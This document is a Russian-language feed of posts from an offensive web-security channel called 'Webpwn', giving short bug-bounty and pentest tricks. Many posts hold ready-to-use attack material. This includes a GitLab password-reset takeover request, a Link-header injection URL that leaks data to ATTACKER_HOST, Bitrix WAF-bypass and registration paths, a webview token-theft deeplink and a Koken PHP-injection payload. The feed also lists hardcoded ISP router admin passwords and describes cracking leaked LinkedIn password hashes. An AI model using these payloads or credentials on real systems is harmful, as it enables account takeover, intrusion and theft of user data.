Webpwn

Posts

Date Content Media
2024-10-17 10:37:01
Многие юзают инфу о выданных сертификатах, чтобы узнать поддомены компании, например в crt.shНо не только лишь все знают, как узнать другие домены одного владельца в ru зоне.Раньше для этого юзал 1stat.ru, но он уже больше как архив, а сейчас использую backorder.ruЭт такой сервис для киберсквоттеров, который позволяет наблюдать за истекшими доменами и их перехватить. Ну и помимо этой функции, доступен расширенный поиск.Короч, вбиваешь условный vk.ru, тыкаешь в значение поля Org, нажимаешь "Все домены".#Osint > Images Images
2024-08-01 10:37:15
Что опасного в публичном отображении phpinfo?Сдаешь такой в багбаунти, а тебе говорят, ну где импакт, CVSS 2.6?А ты такой, ну смотри какой импакт:- Дает узнать о конфигурации PHP, в том числе о версии, установленных модулях, путях к файлам и т.д. Что поможет эксплуатировать другие уязвимости.- Раскрывается информация о реальном расположении серверов (если они скрыты за anti-DDOS или CDN)- Отдельно стоит отметить, что в эпоху этих ваших docker-compose, иногда в нем раскрывается чувствительная информация в переменных окружения (рили видел креды от базы в ENV)- Помогает эксплуатировать всякие LFI 2 RCE- Секция с Cookie раскрывает ВСЕ ПЕЧЕНЬЯ, поэтому позволит украсть их, даже если они HTTPOnlyЯ что-то забыл?>
2024-05-16 10:37:09
#owncloudДля owncloud была классная CVE-2023-49105Сплоет реализован в качестве прокси, которая подписывает запросы и можно через нее ходить на dav://, используя клиент Filezilla, Cyberduck, короч кто-что юзает.Сначала ставим ten, запускаем проксю, но не наслаждаемся.Потому что из коробки сплоет у меня не завелся, клиенты, видимо, не могут корректно распарсить ответ.А я просто вывел ответ от прокси через print(response.text), и собрал список файлов. Сами файлы можно получать уже через curl/wget/браузер, так как для скачивания файлов достаточно GET запроса.Типа wget localhost:8800/remote.php/dav/files/admin/Report.7zБыстро чекнуть уязвимый ли owncloud можно через другую CVE-2023-49103:/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/webpwn.cssЕсли открылся phpinfo() - то, скорее всего, систему не обновляли, а эти CVE'шки вышли рядом.> Images
2024-05-14 10:37:01
#OSINT #SSHВспомнил тут про старый трюк, можно тестануть:ssh whoami.filippo.ioКороч, когда ты подключаешься по ssh, твой ssh-agent перебирает всеми ключами, которые у тебя в него подключены.Это может привести к прикольной деанонимизации, если на стороне сервера включено логирование ssh ключей, которыми пытались подключиться.Ключики можно собирать как на гитхабе:https://github.com/Oleg.keysТак и на гитлабе:https://gitlab.com/Nikita.keysВсякие энтузиасты собирают собственные базы забавы ради, думаю есть и те, которые делают это для расследований инцидентов после компрометации и вот этого всего.[1], [2], [3]>
2024-04-12 10:37:06
В дискуссии спросили, ну чего опасного в том, что есть XSS на поддомене без юзеров. Допустим, есть у нас site.kek, а ты нашел уязвимость на subdomain.site.kekЧто может дать XSS на поддомене, где обычный одностраничный лэндинг, нет никаких данных пользователя?Штош, импакт такой:- Не только лишь все знают, что поддомен может ставить куки, в том числе на главный сайт (а точнее на весь скоуп, включая другие поддомены), а это может помочь при эксплуатировании других атак, например фиксацию сессии. Или вспомнить про отказ в обслуживании aka cookie bomb- CORS на других сайтах компании, в том числе сам site.kek может принимать Origin: subdomain.site.kek, а это значит можно выполнять действия от лица пользователя.- В дополнение к предыдущему - обходится механизм SameSite- Старый добрый фишинг, если нет дизайна для регистрации или входа - ее можно нарисовать.Может что-то еще?>
2024-04-03 10:37:11
Короч, чтоб тебя всякие shodan, censys и прочие умники не сканировали, а еще и не попадать под их поисковую выдачу, рекомендую такой дефолтный конфиг для nginx:server { listen 80 default_server; lisetn [::]:80 default_server; listen 443 ssl http2 default_server; listen [::] 443 ssl http2 default_server; ssl_reject_handshake on; server_name _; location / { return 444; }}Че тут делаем? Слушаем 80 и 443 на ipv4 и ipv6.Для 443 откланяем все операции SSL handshake, если имя сервера отлично от тех, что есть в других конфигах.И если соединие установить удалось (и для 80 порта) - рвем соединение (ответ 444 обладает такой фичей).> Images
2024-03-12 10:37:01
#firebaseКороч. Встречали firebase на страницах? Обычно это подключение js-ника и конфиг видаfirebase.initializeApp({ apiKey: "VHkgcGlkb3IpMDAwKSkpKSkpKSk=", authDomain: "blablabla" ...});Иногда это используется для заявок, фидбэков и вот этого всего. И если его неправильно готовят, то на нем можно зарегистрироваться через signupNewUser (тыц) и получить доступ к данным, которые собирали сотрудники (в моем случае это было через Firestore).Только как имя базы узнать я не знаю, в моем случае оно тоже светилось в файлах фронта, но может в комментах подскажут.Еще надо попробовать pyfireconnect и python-firebaseSavik поресерчил эту тему и сделал скрипт, который проверяет что доступно по данным Firebase.Если есть api_key и project_id, то уже можно тыкаться по Realtime Database, Firestore, Storage.> Images
2024-03-05 10:37:01
#OpenAPI #SwaggerКороч, в extentions для burp suite есть OpenAPI Parser, это штука, которая позволяет брать всякие swagger.json, превращать их в запросы, сканить и вот это все.Какая с ним проблема. Он не умеет работать с третьей спекой. Валится и все тут.Выход - сконвертировать в OAS 2.0У меня был огромный swagger и классический editor.swagger.io не смог его прожувать и вкладка зависала. Но есть замечательный API Spec Converter, суем в него спеку 3 версии, конвертим в 2, загружаем в burp.Единственное, в json надо добавить "host": "api.someshit.io", "basePath": "/", "schemes": [ "https", "http" ],после info в файле, и спарсится все отлично.> Images
2024-03-04 10:37:06
2024-03-01 10:40:04
None
2024-03-01 10:19:24
Доступ в двойную кавычкуПодключи подписку - и получи доступ к контенту раньше, чем будет его публикация, к щепотке уникального контента и чату без цензуры.Твой вклад помогает развивать этот канал и делать его лучше 💣
2024-02-27 10:37:01
Есть такая штука nextjs, несколько месяцев назад они добавили новую "фишку" распределение нагрузки - под капотом поднимается несколько микросервисов. Каждый из которых занимается своей частью обработки запроса. Работает все примерно так-же как и обычный прокси сервер, запрос приходит, обрабатывается, и через стороннюю библиотеку проксируется на другой порт.Собственно именно это место нас и интересует. В HTTP есть такой метод PRI (используются, если мне не изменяет память, чтобы проверить возможность HTTP/2 подключения). Нас интересует что запросы этого метода имеют cимвол * в пути, вместо привычного /.PRI * HTTP/1.1.Далее, все http-парcеры работают по разному, у nodejs он немного особенный, и url вида http://example.com:3456*@127.0.0.1:8080 будет разобран как: hostname: 127.0.0.1, port: 8080, auth: example.com:3456*,А самое важное тут то, что http-парсер nodejs считает валидными запросы вида:GET *@127.0.0.1/ HTTP/1.1Host: somehostА знаете кто еще так делает - haproxy!Ну и последнее: код который формирует url для проксирования внутрь nextjs выглядит так:const targetUrl = `http://${ targetHost === 'localhost' ? '127.0.0.1' : targetHost}:${routerPort}${pathname}`Собственно, т.к. мы контролируем pathname - мы можем отправить запрос вида:GET *@127.0.0.1:11211 HTTP/1.1Host: some и запрос уйдет напрямую в memcached, получаем SSRF.Но что более важное - это SSRF с возможностью чтения ответа: если внутри, в инфре, есть приватная веб-морда, мы можем спокойно обращаться к ней, как будь то бы она торчит наружу.Уязвимые версии:>= 13.3.0 | <=13.4.12фича проксирования включена по умолчанию, она так же включается если установлен флаг appDir: true в конфигурации experimental.Из интересного: vercel отказал в CVE, так как не считает что это уязвимость (на момент репорта уязвимость воспроизводилась в последних версиях). Однако с версии 13.4.13 изменили код. Теперь в части внутренних запросов используется fetch. Что дает некоторую защиту, т.к. fetch не принимает запросы содержащие авторизацию.>
2024-02-19 13:03:43
Быстро и дешево брутим хэшиКороч, есть чуваки такие, immers.cloudПо сути это хостинг с арендой видеокарт. А так как я занимался проектом passleak.ru, иногда нужно было разгадывать хэшики, решил не покупать под это оборудование. Вышло круто.Тут есть два варианта развития событий. Арендуем видеокарту (какую - по желанию, они там выкатили какие-то ультра-модные H100, но мне и 2080 часто хватает), грузим туда наши хэши, делаем что-то типа:sudo apt-get updatesudo apt-get install gcc make tmux git mesa-common-dev cmake nvidia-cuda-toolkit build-essential unzip -yhttps://ru.download.nvidia.com/XFree86/Linux-x86_64/470.63.01/NVIDIA-Linux-x86_64-470.63.01.runchmod +x NVIDIA-Linux-x86_64-470.63.01.runsudo ./NVIDIA-Linux-x86_64-470.63.01.runУстанавливаем hashcat и играемся с этим всем.Но если нам нужно побрутить пароли по словарям, способ еще круче. Берем готовый образ Ubuntu + Hashcat + Weakpass 3, на диске будет лежать архив с Weakpass V3. Запускаем и прогоняем хэши, забираем то что сбрутилось, вырубаем машину.Например, чтоб раскукожить пароли из дампа Linkedin - мне потребовалось рублей... 20? В общем, круто держать под рукой чтобы быстро сбрутить какой-то хэшик.>
2024-01-16 10:37:01
Роскомнадзор будет блокировать сайты с информацией об обходе блокировокА пока не блокирует - просили рассказать))Короч, сижу в инсте. Бесило, что нужно постоянно подрубать vpn, когда нужно зайти в инсту. И отрубать, когда заходишь в банк, доставку еды и прочие госуслуги.Берем московскую виртуалку (юзаю selectel), ставим на неё zapret - это аналог GoodbyeDPI под linux.Ну там нужно сначала запустить install, потом сделать чек через blockcheck.sh, лично я тестил на instagram.com. После чего поставить обход блокировки, который подходит для текущего провайдера.Сверху поставил изичный wireguardКачаешь прилку wireguard, цепляешься к своему серверу, наслаждаешься.Что имеем:* защищенное (over TLS) соединение - можно юзать публичные wifi с минимизацией риска MITM* рос-четтам-надзор не блокирует wireguard соединения в рамках РФ* открываются всякие фэйсбуки инстаграмы* открываются банки и госуслуги>
2024-01-12 15:15:45
#gitlabЗабавная логическая уязвимость в Gitlab - CVE-2023-7028Можно переопределить почту в механизме восстановления пароля, передав специально сформированный запрос, в котором в нулевом элементе массива будет валидный email, а в следующем - злоумышленника.PoC:user[email][]=valid@email.com&user[email][]=attacker@email.comДля проверки фактов компрометации систем предлагается оценить в логе gitlab-rails/production_json.log наличие HTTP-запросов к обработчику /users/password с указанием массива из нескольких email в параметре "`params.value.email`". Также предлагается проверить наличие в логе gitlab-rails/audit_json.log записей со значением PasswordsController#create в meta.caller.id и указанием массива из нескольких адресов в блоке target_details. Атака не может быть доведена до конца при включении пользователем двухфакторной аутентификации.Проблема проявляется начиная с выпуска GitLab 16.1.0, в котором появилась возможность отправки кода восстановления пароля на неверифицированный запасной email-адрес.>
2024-01-11 10:37:01
Интересный вектор Client-Side атакиМногие веб-сайты используют заголовок Link для загрузки статического контента. Иногда из этого заголовка передается параметр или устанавливается язык и т.д. Это может послужить вектором атаки на те части приложения, которые имеют функционал поиска. Часто страницы с ошибками поиска имеют отличные Link заголовки.Если, кроме того, используется фреймворк express, то, скорее всего, ситуация становится еще хуже.Потому что links внутри express написана так:res.links = function(links){ var link = this.get('Link') || ''; if (link) link += ', '; return this.set('Link', link + Object.keys(links).map(function(rel){ return '<' + links[rel] + '>; rel="' + rel + '"'; }).join(', '));};Путем выхода из < >, если при пустом поиске загружаются другие ссылки, можно используя поиск по внутренним данным пользователя, получать разные ответыСледовательно можно побуквенно перебирать результаты поиска на странице, путем добавления iframe'овПример с реального уязвимого сайта выглядит как-то так:https://site.com?uuid=UUID_PREFIX&lang=>%20"modulepreload",<https://ATTACKER_HOST?e=UUID_PREFIX>; rel="modulepreload",Так что полный чейн выглядит так:1. Направляем пользователя на наш сайт2. На нем открываем сотни скрытых ифреймов с ссылкой выше, перебирая префикс3. По отстукам на хост понимаем результаты поиска на странице пользователяРазработчики express об этом уведомлены, даже CVE мне дали, но фикс будет не скоро)(Тем более такой же чейн работает когда мы можем любым другим методом контролировать Link хедер )>
2023-12-11 10:37:01
Короч, Apache Dubbo — это такая штука, которая часто используется для хайлоада, рядом. Разработчики говорят, что умеет помимо RPC еще и в WEB, поэтому давайте на нем делать микросервисы, но я особо их не видел (может не популярный в СНГ). А еще на минуточку, это один из самых популярных проектов на github (~40k звезд на момент написания).Порт 28080, полезен сам по себе, так как через него можно посмотреть все классы и методы, и часто даёт RCE. Например из последнего CVE-2023-23638, или чуть старее.>
2023-11-30 10:37:01
#bitrix #phpВ PHP точки, пробелы и "[" в именах запросов автоматически переименовываются в нижнее подчеркивание. А "+" в пробел. Это позволяет обходить некоторые фильтрации на уровне веб-сервера или WAF.Например, с помощью конфигурации nginx закрыли доступ к админке из интернета, но есть фича с Bitrix, где можно переписать путь к которому мы обращаемся через параметр:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin/если кто-то предусмотрел такую возможность, то можно поиграть с следующими именами:/pewpew/?SEF_APPLICATION_CUR_PAGE_URL=/bitrix/admin//pewpew/?SEF%20APPLICATION%20CUR%20PAGE_URL=/bitrix/admin//pewpew/?SEF.APPLICATION%20CUR+PAGE[URL=/bitrix/admin/PoC>
2023-11-21 10:37:01
Метод TRACEПомимо GET, POST, etc - есть еще и метод трассировки TRACE. Если пользуетесь burp'ом, он вам его подсветит, так как бага старше большиства багхантеров. Что дает? Дает посмотреть весь HTTP запрос на сервере, в котором могут быть и секретные секреты, как например ключи пользователя или какие-то уникальные uuid для интеграции, x-forwarded-for и прочие служебные заголовки. Но не всегда.Но не так давно прочитал забавности, что метод можно переопределить черезGET /path.html?_method=TRACE HTTP/1.1или заголовок_method: TRACE>
2023-11-14 10:37:01
Роутер от провайдераДля меня было откровением, когда я подключил интернет, сменил дефолтный пароль от админа, а оказалось, что есть еще "суперадмин".В моем случае, в роутере от МГТС, был следующий root:mgts;mtsoaoНа Ростелекоме (в частности, на роутерах от huawei), бывают следующие пары логинов и паролей:telecomadmin;admintelecomtelecomadmin;NWTF5x%RaK8mVbDtelecomadmin;NWTF5x%telecomadmin;nE7jA%5m
2023-11-12 05:17:57
placeholder, don't delete, just change the date
2023-10-23 10:37:44
/var/run/docker.sockВидишь docker.sock - можно поиграть в пост-эксплуатацию, выполняя команды. Вот пример монтирования файловой системы и выполнения реверс-шелла.
2023-10-18 10:37:02
В nginx есть забавный заголовок - X-Accel-RedirectСлужит для доступа к internal локейшенам для внутреннего перенаправления запросов от веб-сервера к backend-серверу, в частности, используется для эффективной отдачи файлов юзерам.Вместо того чтобы nginx самостоятельно обслуживать файл, он делегирует задачу на backend. Это позволяет использовать nginx как прокси-сервер для статических файлов (короч освобождает его ресурсы и повышает производительность).В Apache и lighttpd есть подобный X-SendfileЕсли в какой-то атаке, например в CRLF мы сможем его контролировать, то эту фичу можно использовать как обход закрытых директорий или как выход из директории.Инфа и примеры: тыц, тыц, тыц, тыц, тыц
2023-10-16 10:37:59
Есть такая штука для хайлоада - MinIOОбъектное хранилище с открытым исходным кодом на Go.Забавно, как POST запрос на ручку /minio/bootstrap/v1/verify раскрывает его секреты.Бага прогремела (CVE-2023-28432) в Китае (вот разбор), а у нас чет не встречал, пока сам не наткнулся. Images
2023-10-03 10:38:00
Снова про #1СКак пишут в документации: "Внешние обработки представляют собой обработки, которые не входят в состав прикладного решения и хранятся в отдельных файлах с расширением *. epf.".Так же пишут: "В режиме 1С:Предприятие внешнюю обработку можно запустить на выполнение, открыв ее как любой другой файл, хранящийся на диске."В правом верхнем углу нажимаем на "бутерброд" -> Файл -> Открыть.Выбираем наш epf и жмём "ок". Но только 1С может быть не только под Windows, но и под Linux. Поэтому в коллекцию еще один шелл, который универсальный и под любую операционную систему.> Images
2023-09-21 12:16:04
#bitrix 🚨🚨🚨Уязвимость модуля landing системы управления содержимым сайтов (CMS) 1С-Битрикс: Управление, позволяющая нарушителю выполнить команды ОС на уязвимом узле, получить контроль над ресурсами и проникнуть во внутреннюю сеть.Bitrix > 23.850.0RCE, CVSS 10/10Удаляем модуль landing, если не используется. Обновляем до версии 23.850.0 и выше, если используется.BDU:2023-05857Че, пацаны, анимэ? Images
2023-09-18 10:37:01
#bitrixКарочи, в админку в битриксе иногда можно зайти просто зарегистрировавшись.Но у многих кнопка регистрации вовсе отсутствует, но это не мешает вызвать стандартные формы:/auth/?register=yes/crm/?register=yes/auth/oauth2/?register=yesНаличие форм, кстати, тоже не обязательно, достаточно разгадать капчу (если она вообще есть) и отправить POST-запрос на регу.Помимо стандартных путей, существуют еще demo-проекты:/bitrix/wizards/bitrix/demo/public_files/ru/auth/index.php?register=yes/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/custom-registration/index.php/bitrix/wizards/bitrix/demo/modules/examples/public/language/ru/examples/my-components/news_list.php?register=yes/bitrix/wizards/bitrix/demo/modules/subscribe/public/personal/subscribe/subscr_edit.php?register=yesИли можно попробовать обратиться к подобным модулям:/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/personal/profile/index.php?register=yes/bitrix/modules/bitrix.siteinfoportal/install/wizards/bitrix/infoportal/site/public/ru/board/my/index.php?register=yesПосле регистрации (получив валидный сессионный идентификатор), можно побрутить директорию /bitrix/ следующими файликами.
2023-09-13 10:37:01
HTTP Request Splitting vulnerabilities exploitation c конференции offzone.Еще раз о нюансах использования $uri в конфигах nginx с примерами эксплуатации. Первый кейс эксплуатации такого миссконфига в mail.yandex.ru, где через похожую на CSRF-атаку украли весь запрос с фронтенда (включая куки жертвы) записав их подпись письма - в самое сердечко, просто потрясающе!
2023-09-11 10:37:06
#electron Через XSS или открытие стороннего url (контролируемый атакующим), можно записать стрим с экрана, камеры, аудио.Даже висит ишью, https://github.com/electron/electron/issues/19017. Основная проблема в том, что в электроне всевозможные пермишены включены по умолчанию. Это значит что можно вызывать navigator.getUserMedia для доступа к устройствам записи аудио/видео. Для изменения этой ситуации есть специальный метод, setPermissionRequestHandler, но еще не видел, что бы кто-то из разработчиков этим озаботился.Единственная защита которую многие используют, это запрет на изменения location в текущем окне. Но часто забывают про изменения location во всплывающих окнах. Так же никто не застрахован от xss или использования кастомной схемы. В эту же кучу попадают приложения разрешающие использовать и делиться js-кодом. (Aka Postman)PoCДругие настройки:- для записи видео с камеры: const constraints = {audio: false, video: true};- для записи микрофона:const constraints = {audio: true, video: false};
2023-09-04 10:37:11
Memcache классный, потому что находится на порту 11211 и работает как по TCP, так и по UDP. И часто забывают закрыть именно UDP порт.До того как это стало мейнстримом, и его начали юзать для амплификации в DDoS атаках, раза три сдавал в багбаунти MailRu.Ценность/импакт - это key-value база данных, часто кэшируют данные юзеров, в том числе сессии, пароли. Юзаю этот дампер, скорее всего на гитхабе уже есть кайфовее.> Images
2023-08-28 10:37:01
rsvgёbЕсть librsvg — либа в целом надежная, написана на rust. Она парсит svg и умеет их рендерить в png.Особенность в том, что в svg можно встраивать обычные растровые изображения (через <image xlink:href="data:...>). Для их парсинга там используется либа libgdk-pixbuf, она написана на C.libgdk-pixbuf умеет поточно читать изображения и из-за этого есть баг: если изображение не совсем до конца дописано, то часть буфера с данными останется неинициализированным, а ошибки настоящей иногда не происходят. В результате при парсинге svg в превьюху может попасть память приложения. Чем-то похожа на gifoёb. Эксплойт прилагается.>
2023-08-21 10:37:01
Ценная штука - actuator.Как правило, ценность в зависимости от того, что в нем находится:/actuator/env - показывает переменные окружения, при отправке POST запроса (в виде JSON, если Spring Boot 2), умеет в RCE или утечку данных./actuator/heapdump - моментальный снимок памяти процесса, разумеется с чувствительной информацией, такой как креды подключения или чьи-то сессии или sql запросы/actuator/jolokia - роут для управления Jolokia через HTTP, смотреть в jolokia-exploitation-toolkit/actuator/gateway - позволяет писать свои роуты к actuator’у, эксплуатируя как SSRF, так и RCE[1], [2], [3] Images
2022-11-14 10:36:53
#api #params #toolПомимо брутфорса директорий, на проекте также важно находить и проверять скрытые параметры. Разработчики могли оставить функции для их обработки на сервере, но на клиентской части код удалить.Также может возникать уязвимость Mass Assignment, где разработчик создал структуру, а злоумышленник может её заполнить, угадав названия полей с помощью перебора.public class User { private String userid; private String password; private String email; private boolean isAdmin;}Чтобы правильно и эффективно находить такие вещи, нам нужен подход или утилита. Самые известные вот эти две: Param Miner и ArjunПервая это плагин для BurpSuite. Вторая — консольная утилита на Python.Относительно недавно, появилась новая консольная утилита x8 Она написана на языке Rust, разработчиком является багхантер @sh1y0Около 40% уязвимостей на h1 он нашёл с её использованиемК слову, багхантеры за рубежом не стесняются встраивать её в свои конвейеры для поиска уязвимостей.На мой взгляд, данная тула наиболее эффективна, и сейчас мы разберёмся почему.1. Arjun, в отличие от x8, имеет фиксированное значение параметров при брутфорсе (по умолчанию 500).Это значит, что в запросе из вордлиста будут отсылаться сразу 500 параметров: /?param1=test&param2=test&...&param500=testПроблема здесь заключается в том, что многие серверы будут отдавать 414 URI Too Long, либо банально игнорировать последние 200 параметров. Таким образом, даже если в вашем текстовом файле есть нужный параметр — он не будет найден.2. Ещё одним важным отличием являются функции сравнения ответов на странице. Arjun сохраняет тело первого ответа и сравнивает с ответом нового запроса. Если есть разница — выводит сообщение о том что параметр влияет на ответ.Естественно, проблема здесь очевидна, содержимое в ответе может быть всегда динамическим. Например, в теле ответа иногда встроен datetime.x8 лишён данной проблемы, из-за наличия специальных тестовых запросов, которые нужны для выявления динамических строк — исключая их таким образом из поиска.HTTP/1.1 200 OKContent-Length: 18<html>- Time 13:36:23<id="test">Как видно из примера, строка которая содержит время, исключена и помечена как динамическая. HTTP/1.1 200 OKContent-Length: 37<html>- Time 13:37:48+ <id="admin_param">Здесь x8 понимает, что параметр найден из-за изменений в теге id.3. Arjun поддерживает методы только GET и POST, а Param Miner не умеет искать рекурсивным поиском. Кроме того, в x8 есть гибкая настройка отправки параметров — концепция шаблонов и injection pointов, которая отсутствует в других инструментах.Вообще, автор создал табличку, где сравнивает все три решения sh1yo.art/x8stats/Так можно оценить эффективность работы на реальных сайтах.Пример использования: x8 -u "https://example.com/" -w <wordlist>
2022-11-09 10:37:06
Service Worker - это скрипт, запускаемый браузером в фоновом процессе. Думаю, еще не самая используемая технология пентестерами, а ведь с помощью нее можно придумать какую-нибудь интересную эксплуатацию уязвимостей. Большинство использует как кэш в твоем браузере, а кто-то, наверное, всякие гадости делает?Чтобы посмотреть, что у тебя крутится-вертится, нужно открыть chrome://serviceworker-internals/. Если ты активный пользователь интернета, будешь неприятно удивленНапример, вот логика простого перехватчика запросов, которые заканчиваются на js. Если происходит fetch (а это даже просто подключаемый js на страницу с помощью тега <script>, то вернется alert().Надо разместить куда-то serviceworker.js (на имя пофиг).self.addEventListener('fetch', event => { if(event.request.url.endsWith('.js')) event.respondWith(new Response('alert()'));});И зарегать его:<script>navigator.serviceWorker.register(‘serviceworker.js')</script>При следующем посещении все js’ки будут alert’тить.А вот если какой-то контент доступен только с помощью метода POST и тебе его нужно оттуда подгрузить js, то можно просто заменить любой запрос на странице (назовем его intercept), на наше событие:self.addEventListener('fetch', event => { const url = '/api/user'; if(event.request.url.endsWith('/intercept')) event.respondWith(fetch(url, { method : 'POST', mode : 'no-cors', credentials: 'include' }));});И вместо <script src=/intercept></script>, будет содержимое POST-запроса>
2022-08-11 10:37:01
Приложения на Django в debug режиме раскрывают содержимое environment переменных при необработанном исключении.Несмотря на наличие автоматического сокрытия значений, для переменных соответствующих регулярному выражению API|TOKEN|KEY|SECRET|PASS|SIGNATURE, часто это приводит к утечкам через нестандартные имена переменных.Если обнаружить debug режим можно просто обратившись к несуществующей странице, то вызвать exception иногда бывает проблематично. Даже с раскрытием существующих в приложении путей через 404-ую страницу.Но существуют и более универсальные подходы.Пример 1Нестандартные символы в Host. Правда с учетом облачных сервисов этот вариант срабатывает редко.GET / HTTP/1.1Host: '"Invalid HTTP_HOST header: '\'"'. The domain name provided is not valid according to RFC 1034/1035.Пример 2Использование большего количества переменных в POST, чем указано в настройке DATA_UPLOAD_MAX_NUMBER_FIELDS (по умолчанию 1000).Для эксплуатации необходимо найти любой роут, поддерживающий POST запросы, и в редких случаях получить валидное значение CSRF токена на странице.POST / HTTP/1.1Host: localhostContent-Type: application/x-www-form-urlencodedCookie: csrftoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;Content-Length: 3093 csrfmiddlewaretoken=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&x=&x=&x=&x=[..1000 раз..]&x=&x=&x=
2022-08-09 10:37:01
Один из способов узнать, что через какой-то веб-сервер проксируется Apache, это отправить ему заголовокMax-Forwards: 0В ответе будет ошибка.>
2022-07-25 10:37:06
Kapacitor - это система обработки данных с открытым исходным кодом, которая умеет обрабатывать метрики из InfluxDB и является частью TICK-стека. Из коробки умеет в RCE, если торчит наружу.Для тестов:docker run --rm --net=host -it influxdb:1.8docker run --rm -it --net=host -e KAPACITOR_INFLUXDB_0_URLS_0=http://127.0.0.1:8086 kapacitor./kapacitor_rce.sh 172.17.0.3>
2022-07-21 10:37:06
Druid Monitor для отслеживания состояния проектов на Java/druid/weburi.html>
2022-07-19 10:37:06
Короч, на пентесте была защита от дураков, каждая отправка запроса (POST x-www-form-urlencoded или application/json) подписывалась. Причем бралась сессия, текущий timestamp, сортировались параметры, все это оборачивалось в md5. Эта проверка целостности передавалась в заголовке, и если не совпадала с текущими данными в POST, то обработка прерывалась. А без этого, естественно, ни Intuder, ни Scanner не работал.Запилили плагин для Burp, добавляется через Extender -> Add -> Python, вдруг пригодится в будущем.>
2022-06-30 10:37:06
RCE эксплойт на Bitrix <= 20.100.0>
2022-06-24 17:01:23
None
2022-06-24 14:14:46
Анонс Cure53 о том, что они убьют XSS как класс уязвимостей похож на правду. DOMPurify теперь встроен в браузеры и тестируется.// this is safe by defaultdocument.body.setHTML('unsafe HTML here')Как потестить:Firefox: about:config#dom.security.sanitizer.enabledChrome: chrome://flags#enable-experimental-web-platform-featuresКак думаете, взлетит или будет на уровне CSP (у одного из ста)?https://wicg.github.io/sanitizer-api/#dom-element-sethtml
2022-06-23 10:37:00
#osint #telegramЧтобы узнать аккаунт в Telegram по его id, достаточно написать ссылку видаt.me/@id45933Где 45933 - интересующий нас айдишник. При переходе с мобильного клиента мы получим профиль с привязанным идентификатором.Чтобы не добавлять к себе в контакты номер телефона, достаточно написать ссылку t.me/+15109728359Аналогично, при переходе по ссылке получим профиль с этим номером телефона и оригинальным именем.>
2022-06-21 10:36:59
#mobile #deeplinkЕсли вы нашли XSS на сайте, но у неё низкий impact — не удаётся "украсть" аккаунт жертвы или актив вне скоупа.Вам стоит поискать мобильное приложение, которое содержит WebView функциональность и присваивает токен при открытии страницы.Возьмём для примера приложение от PayPal. Открыв его в декомпиляторе можно найти функцию около webview функциональности boolean isSecureVenmoHostUrl(Uri uri)Внутри неё обнаруживаем хосты host.endsWith(".venmo.com") || host.equals("venmo.com") || host.endsWith(".venmo.biz")Теперь нужно проверить возможно ли передать свой url в класс webview.Если да, составляем полезную нагрузку: <a href="venmo://webview?url=https://legal.venmo.com/index.php?p=<svg>">PoC Send</a>Это был пример как поднять xss, до чего-то существенного. При открытии ссылки, возможно украсть access_token и получить доступ к платежам пользователя.Такая же функциональность в приложении TripAdvisor:Pattern f30622a = Pattern.compile("^(?:https?\\:\\/\\/(?:[A-Za-z0-9_\\-]+\\.(dhcp(\\-[A-Za-z]+)?\\.([A-Za-z0-9_\\-]+\\.corp\\.)?|(nw\\.)?dev(\\-[A-Za-z]+)?\\.|cmc\\.|d\\.)?)?tripadvisor\\.(?:com|(?:[a-z]{2})|(?:(?:co|com)\\.[a-z]{2})))?\\/.*$");В перечисленных случаях выше, разработчики исправляют только xss, поэтому вы всё ещё можете это воспроизвести.
2022-06-16 10:37:06
А вот пример уязвимого кода для выполнения RCE через FTP.Когда кто-то забирает файл, на контролируемом нами ресурсе, мы ему отдаем полезную нагрузку для эксплуатации выполнения кода (FastCGI, Redis, Zabbix).После попытки сохранить его, мы отвечаем серверу, что переходим в пассивный режим, отправь содержимое на 127.0.0.1:9000 (или другой порт).Это не только таск на CTF:[1], [2]>
2022-06-15 10:37:01
В некоторых случаях доступ к FTP это еще и SSRF.Плюсы: FTP тупой, как пробкаМинусы: Активный режим редко где включен.После подключения с помощью netact, мы можем отправить файл (который мы залили) в произвольное место.RETR file - готовит содержимое файла к отправкеPORT 1,2,3,4,5,6 - куда отправить содержимое, где первые 4 цифры это IP, а 2 последние это 5*256+6Из примера выше, PORT 127,0,0,1,31,144 это 127.0.0.1:8080 (31*256+144).>
2022-06-12 08:55:30
Sometimes you can be a smart dude and report XSS. But maybe you were too hasty? Think about it.http://koken.cms/preview.php?/albums/&preview=elementary/a:<?=phpcredits();?>#0day
2022-06-09 10:37:06
Запоминаем крутые порты 9092 (kafka), 2181 (zookeeper).Видим подобное на хосте? Проверим, можно ли зайти без аутентификации.kcat -b {IP}:9092 -u -LВ ответе будут адреса брокеров. Если брокер будет локальный, как ниже, то либо меняем в /etc/hosts временно localhost на нужный нам IP, либо пробрасываем локальный порт на нужную нам тачку.Metadata for all topics (from broker -1: 103.210.236.192:9092/bootstrap): 1 brokers: broker 0 at localhost:9092 (controller) 126 topics: topic "LOGICAL_CONTRACT_MESSAGE_8962" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0 topic "traverser_klines_deals" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0 topic "LOGICAL_MESSAGE_8934" with 1 partitions: partition 0, leader 0, replicas: 0, isrs: 0>
2022-06-07 10:37:01
Нажмите на кнопку ниже, чтобы получить платный доступ к «Кавычка за донаты».
2022-05-25 11:28:12
Забавный способ уйти от систем защит - использовать другие системы счисления в #js для скрытия полезной нагрузки.Например, функция parseInt может позволить перевести строку alert в числовое значение переведя значение в 36-ричную систему счисления:> parseInt('alert', 36)< 17795081Чтобы выполнить, необходимо воспользоваться функцией toString и перевести число обратно в строку:top[17795081..toString(36)]()>